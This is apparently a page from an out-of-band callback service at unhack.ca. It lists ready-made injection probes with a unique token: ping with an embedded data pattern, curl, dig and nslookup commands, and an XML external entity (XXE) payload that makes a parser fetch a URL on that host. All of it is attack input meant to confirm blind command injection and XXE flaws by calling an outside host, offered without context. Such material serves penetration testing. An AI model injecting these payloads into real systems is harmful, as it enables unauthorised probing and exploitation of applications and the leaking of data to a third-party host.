$ ping -c1 -p 0071da9e953eb50213f21f5142e30400 unhack.ca
 

$ curl http://unhack.ca/p/71da9e953eb50213f21f5142e304
 

$ dig 71da9e953eb50213f21f5142e304 @unhack.ca
 

$ dig 71da9e953eb50213f21f5142e304.ns.unhack.ca
 

C:\> nslookup 71da9e953eb50213f21f5142e304 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/71da9e953eb50213f21f5142e304">]>
    <foo>&xxe;</foo>